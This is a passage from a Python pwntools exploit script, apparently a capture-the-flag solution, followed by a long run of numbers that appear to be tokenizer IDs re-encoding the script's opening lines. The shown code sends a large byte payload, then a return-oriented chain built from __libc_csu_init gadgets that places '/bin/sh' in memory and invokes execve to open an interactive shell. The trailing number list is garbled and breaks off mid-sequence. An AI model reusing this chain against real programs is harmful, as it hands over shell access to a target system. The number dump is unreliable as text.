x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x96\x08\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x48\x0e\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x18\x60\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x80\x08\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xe0\x05\x40\x00\x00\x00\x00\x00\x68\x06\x40\x00\x00\x00\x00\x00\x60\x18\x60\x00\x00\x00\x00\x00\x4a\x07\x40\x00\x00\x00\x00\x00\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e'
proc.send(payload)
time.sleep(0.2)
proc.recvrepeat(0)
payload = p64(0x0)
payload += p64(target_base + __libc_csu_init_gadget1)
payload += p64(0x4141414141414141)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(target_base + __libc_csu_init_call_target)
payload += p64(0x0)
payload += p64(target_base + target.got['read'])
payload += p64(0x1)
payload += p64(target_base + __libc_csu_init_gadget2)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(target_base + target.sym['read'])
payload += p64(target_base + __libc_csu_init_gadget1)
payload += p64(0x4141414141414141)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(target_base + __libc_csu_init_call_target)
payload += p64(0x1)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(target_base + __libc_csu_init_gadget2)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(target_base + target.sym['read'])
payload += p64(target_base + __libc_csu_init_gadget1)
payload += p64(0x4141414141414141)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(target_base + __libc_csu_init_call_target)
payload += p64(0x0)
payload += p64(target_base + target.bss())
payload += p64(0x3b)
payload += p64(target_base + __libc_csu_init_gadget2)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(target_base + target.sym['read'])
payload += p64(target_base + __libc_csu_init_gadget1)
payload += p64(0x4141414141414141)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(target_base + __libc_csu_init_call_target)
payload += p64(target_base + target.bss())
payload += p64(0x0)
payload += p64(0x0)
payload += p64(target_base + __libc_csu_init_gadget2)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414141)
payload += p64(target_base + target.sym['read'])
proc.send(payload)
time.sleep(0.2)
payload = b'\x0e'
proc.send(payload)
time.sleep(0.2)
payload = b'\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
proc.send(payload)
time.sleep(0.2)
proc.interactive()
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
6738,
279,
675,
1330,
1635,
198,
22866,
13,
19119,
7,
998,
796,
705,
28745,
2414,
3256,
28686,
796,
705,
23289,
3256,
2604,
62,
5715,
796,
705,
10951,
11537,
198,
198,
16793,
796,
17852,
37,
7,
4458,
14,
16793,
3256,
2198,
2363,
28,
25101,
8,
198,
8019,
66,
62,
17,
62,
1731,
62,
568,
796,
17852,
37,
7,
4458,
14,
8019,
66,
12,
17,
13,
1731,
13,
568,
3256,
2198,
2363,
28,
25101,
8,
198,
198,
834,
8019,
66,
62,
66,
2385,
62,
15003,
796,
657,
87,
7029,
40675,
198,
834,
8019,
66,
62,
66,
2385,
62,
15003,
62,
13345,
62,
16793,
796,
657,
87,
7029,
68,
2780,
198,
834,
8019,
66,
62,
66,
2385,
62,
15003,
62,
70,
324,
1136,
16,
796,
657,
87,
7029,
48712,
198,
834,
8019,
66,
62,
66,
2385,
62,
15003,
62,
70,
324,
1136,
17,
796,
657,
87,
7029,
41655,
198,
5171,
560,
796,
657,
87,
15,
198,
8019,
66,
62,
17,
62,
1731,
62,
568,
62,
8692,
796,
657,
87,
15,
198,
79,
45785,
62,
16520,
796,
657,
87,
21,
29159,
1899,
198,
16793,
62,
8692,
796,
657,
87,
15,
198,
16793,
62,
47408,
62,
1186,
796,
657,
87,
7029,
4524,
64,
198,
16793,
62,
12924,
62,
26145,
79,
62,
1186,
796,
657,
87,
7029,
35809,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
13834,
796,
1429,
26933,
4458,
14,
335,
12,
17,
13,
1731,
13,
568,
3256,
705,
19571,
16793,
6,
4357,
17365,
34758,
6,
11163,
62,
47,
16448,
41048,
10354,
705,
19571,
8019,
66,
12,
17,
13,
1731,
13,
568,
6,
30072,
198,
220,
220,
220,
21437,
220,
796,
275,
6,
59,
87,
2231,
59,
87,
4304,
59,
87,
2996,
59,
87,
4761,
59,
87,
3720,
59,
87,
4524,
59,
87,
3104,
59,
87,
3388,
59,
87,
21,
68,
59,
87,
3134,
59,
87,
1238,
59,
87,
3388,
59,
87,
21,
68,
59,
87,
4524,
59,
87,
2996,
59,
87,
21,
66,
59,
87,
21,
66,
59,
87,
3388,
59,
87,
3134,
59,
87,
2996,
59,
87,
21,
68,
59,
87,
4524,
59,
87,
1238,
59,
87,
3388,
59,
87,
4790,
59,
87,
1238,
59,
87,
4790,
59,
87,
21,
69,
59,
87,
1238,
59,
87,
5237,
59,
87,
21,
69,
59,
87,
4761,
59,
87,
3388,
59,
87,
21,
68,
59,
87,
3134,
59,
87,
17,
68,
59,
87,
21,
68,
59,
87,
3553,
59,
87,
405,
59,
87,
5333,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
